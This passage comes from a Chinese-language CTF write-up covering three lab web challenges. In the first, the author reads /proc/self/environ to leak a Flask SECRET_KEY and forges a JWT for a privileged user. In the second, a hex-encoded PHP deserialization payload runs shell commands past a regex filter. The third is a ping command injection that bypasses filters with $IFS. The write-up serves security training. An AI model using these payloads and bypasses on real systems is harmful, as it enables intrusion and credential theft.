響應:200成功, 400參數錯誤, 401未授權, 404檔案不存在
🚪 登出端點 GET /api-base/v0/logout - 用戶登出
需要 Token 認證
響應:200成功, 401未授權
1 2 3 4 { "UserRegistration": { "username", "password" }, "UserLogin": { "username", "password" } }
用BP注册一个账户先:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /api-base/v0/register HTTP/1.1 Host: node5.anna.nssctf.cn:21401 Content-Type:application/json Cache-Control: max-age=0 Accept-Language: zh-TW,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br If-None-Match: "1708337513.0-4226-1006306968" If-Modified-Since: Mon, 19 Feb 2024 10:11:53 GMT Connection: keep-alive {"username":"a","password":"a"}
login 一下
用以下的cookie: 拋去jwt.io:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /api-base/v0/search HTTP/1.1 Host: node5.anna.nssctf.cn:21401 Content-Type:application/json Cache-Control: max-age=0 Cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEiLCJwYXNzd29yZCI6ImEifQ.BN9dROQHEp6L0iPx03SgsNO2c3rGac428_lCXh4E2ig Accept-Language: zh-TW,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br If-None-Match: "1708337513.0-4226-1006306968" If-Modified-Since: Mon, 19 Feb 2024 10:11:53 GMT Connection: keep-alive Content-Length: 4
盲猜一下這是flask寫的 , file = app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 import jsonfrom flask import Flask, request, jsonify, send_file, render_template_stringimport jwtimport requestsfrom functools import wrapsfrom datetime import datetimeimport osapp = Flask(__name__) app.config['TEMPLATES_RELOAD' ] = True app.config['SECRET_KEY' ] = os.environ.get('SECRET_KEY' ) current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S' ) response0 = {'code' : 0 , 'message' : 'failed' , 'result' : None } response1 = {'code' : 1 , 'message' : 'success' , 'result' : current_time} response2 = {'code' : 2 , 'message' : 'Invalid request parameters' , 'result' : None } def auth (func ): @wraps(func ) def decorated (*args, **kwargs ): token = request.cookies.get('token' ) if not token: return 'Invalid token' , 401 try : payload = jwt.decode(token, app.config['SECRET_KEY' ], algorithms=['HS256' ]) if payload['username' ] == User.username and payload['password' ] == User.password: return func(*args, **kwargs) else : return 'Invalid token' , 401 except : return 'Something error?' , 500 return decorated def check (func ): @wraps(func ) def decorated (*args, **kwargs ): token = request.cookies.get('token' ) if not token: return 'Invalid token' , 401 try : payload = jwt.decode(token, app.config['SECRET_KEY' ], algorithms=['HS256' ]) if payload['username' ] == "Plato" and payload['password' ] == "ideal_state" : return func(*args, **kwargs) else : return 'You are not a sage. You cannot enter the ideal state.' , 401 except : return 'Something error?' , 500 return decorated @app.route('/' , methods=['GET' ] ) def index (): return send_file('api-docs.json' , mimetype='application/json;charset=utf-8' ) @app.route('/enterIdealState' , methods=['GET' ] ) @check def getflag (): flag = os.popen("/readflag" ).read() return flag @app.route('/api-base/v0/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.json['username' ] if username == "Plato" : return 'Your wisdom is not sufficient to be called a sage.' , 401 password = request.json['password' ] User.setUser(username, password) token = jwt.encode({'username' : username, 'password' : password}, app.config['SECRET_KEY' ], algorithm='HS256' ) User.setToken(token) return jsonify(response1) return jsonify(response2), 400 @app.route('/api-base/v0/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.json['username' ] password = request.json['password' ] try : token = User.token payload = jwt.decode(token, app.config['SECRET_KEY' ], algorithms=['HS256' ]) if payload['username' ] == username and payload['password' ] == password: response = jsonify(response1) response.set_cookie('token' , token) return response else : return jsonify(response0), 401 except jwt.ExpiredSignatureError: return 'Invalid token' , 401 except jwt.InvalidTokenError: return 'Invalid token' , 401 return jsonify(response2), 400 @app.route('/api-base/v0/logout' ) def logout (): response = jsonify({'message' : 'Logout successful!' }) response.delete_cookie('token' ) return response @app.route('/api-base/v0/search' , methods=['POST' , 'GET' ] ) @auth def api (): if request.args.get('file' ): try : with open (request.args.get('file' ), 'r' ) as file: data = file.read() return render_template_string(data) except FileNotFoundError: return 'File not found' , 404 except jwt.ExpiredSignatureError: return 'Invalid token' , 401 except jwt.InvalidTokenError: return 'Invalid token' , 401 except Exception: return 'something error?' , 500 else : return jsonify(response2) class MemUser : def setUser (self, username, password ): self .username = username self .password = password def setToken (self, token ): self .token = token def __init__ (self ): self .username = "admin" self .password = "password" self .token = jwt.encode({'username' : self .username, 'password' : self .password}, app.config['SECRET_KEY' ], algorithm='HS256' ) if __name__ == '__main__' : User = MemUser() app.run(host='0.0.0.0' , port=8080 )
找到admin的信息了 , {“username”:”admin” , “password”:”password”} 再/readflag
只要用户名是Plato 密码是ideal_state 就可以得到flag,但是它无法登录,也无法注册
1 2 3 4 5 6 7 8 9 10 11 def register (): if request.method == 'POST' : username = request.json['username' ] if username == "Plato" : return 'Your wisdom is not sufficient to be called a sage.' , 401 password = request.json['password' ] User.setUser(username, password) token = jwt.encode({'username' : username, 'password' : password}, app.config['SECRET_KEY' ], algorithm='HS256' ) User.setToken(token) return jsonify(response1) return jsonify(response2), 400
要目录穿透?a=../../../???????
留意一下這一句:
1 app.config['SECRET_KEY' ] = os.environ.get('SECRET_KEY' )
這一句是指在linux下的/proc/self/environ有放key , 可以在?file= /proc/self/environ找到
最後在/proc/self/environ 找到了KEY
SECRET_KEY=B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r
這樣就可以jwt偽造了 ,
簡單寫一下:
1 2 3 4 5 6 7 8 9 10 import jwtSECRET_KEY = 'B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r' username = 'Plato' password = 'ideal_state' token = jwt.encode({'username' : username, 'password' : password}, SECRET_KEY, algorithm='HS256' ) print (token)
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlBsYXRvIiwicGFzc3dvcmQiOiJpZGVhbF9zdGF0ZSJ9.LpctUZCUocsntlZ7kNWh9KsagP4CMcELs_bt1g_4A-M
29.Maxser Revenge 是一個php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );error_reporting (0 );include ('check.php' );class passthru { public $S ; public $dir ; public function __wakeup ( ) { $this ->dir='notion' ; } public function __destruct ( ) { eval ($this ->S); } } $a =$_GET ['NSS' ];check ($a );unserialize ($a );来吧,湮灭极限!
是一個反序列化php
來打開phpstudy 生成 NSS的參數
目標是eval(system(“ls /“))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class passthru { public $S ; public $dir ; } $a = new passthru () ;$a ->S = "system('ls /')" ;echo base64_encode (serialize ($a )) ;?>
发现有正则绕过“/[A-Za-z_$()]+/” 需要过滤字母:
16進制轉文本:
1 O:8:"passthru":2:{s:1:"S";s:14:\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x20\x2f\x27\x29;s:3:"dir";N;}
hex還是字母 ,
看了看其他師傅的wp , passthru可以进行命令执行 , ls中l转16进制不行 就直接cat /f*
(/和可以直接用,不用转16进制)
1 \70\61\73\73\74\68\72\75\28\27\63\61\74\20/\66*\27\29;
构造payload,记得s:19:要改为S:19:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class passthru { public $S ; public $dir ; } $a = new passthru ();$a ->S = "passthru('cat /f*');" ;echo serialize ($a );?> O:8 :"passthru" :2 :{s:1 :"S" ;S:20 :"\70\61\73\73\74\68\72\75\28\27\63\61\74\20/\66*\27\29;" ;s:3 :"dir" ;N;}
30.Ping Ping Ping
空格和flag被ban了
symbol被ban了 ,
127.0.0.1|ls
用$IFS代替空格
$9 代替 /
1 127.0.0.1;cat$IFS$9index.php
1 127.0.0.1;q=g;cat$IFS$9fla$q.php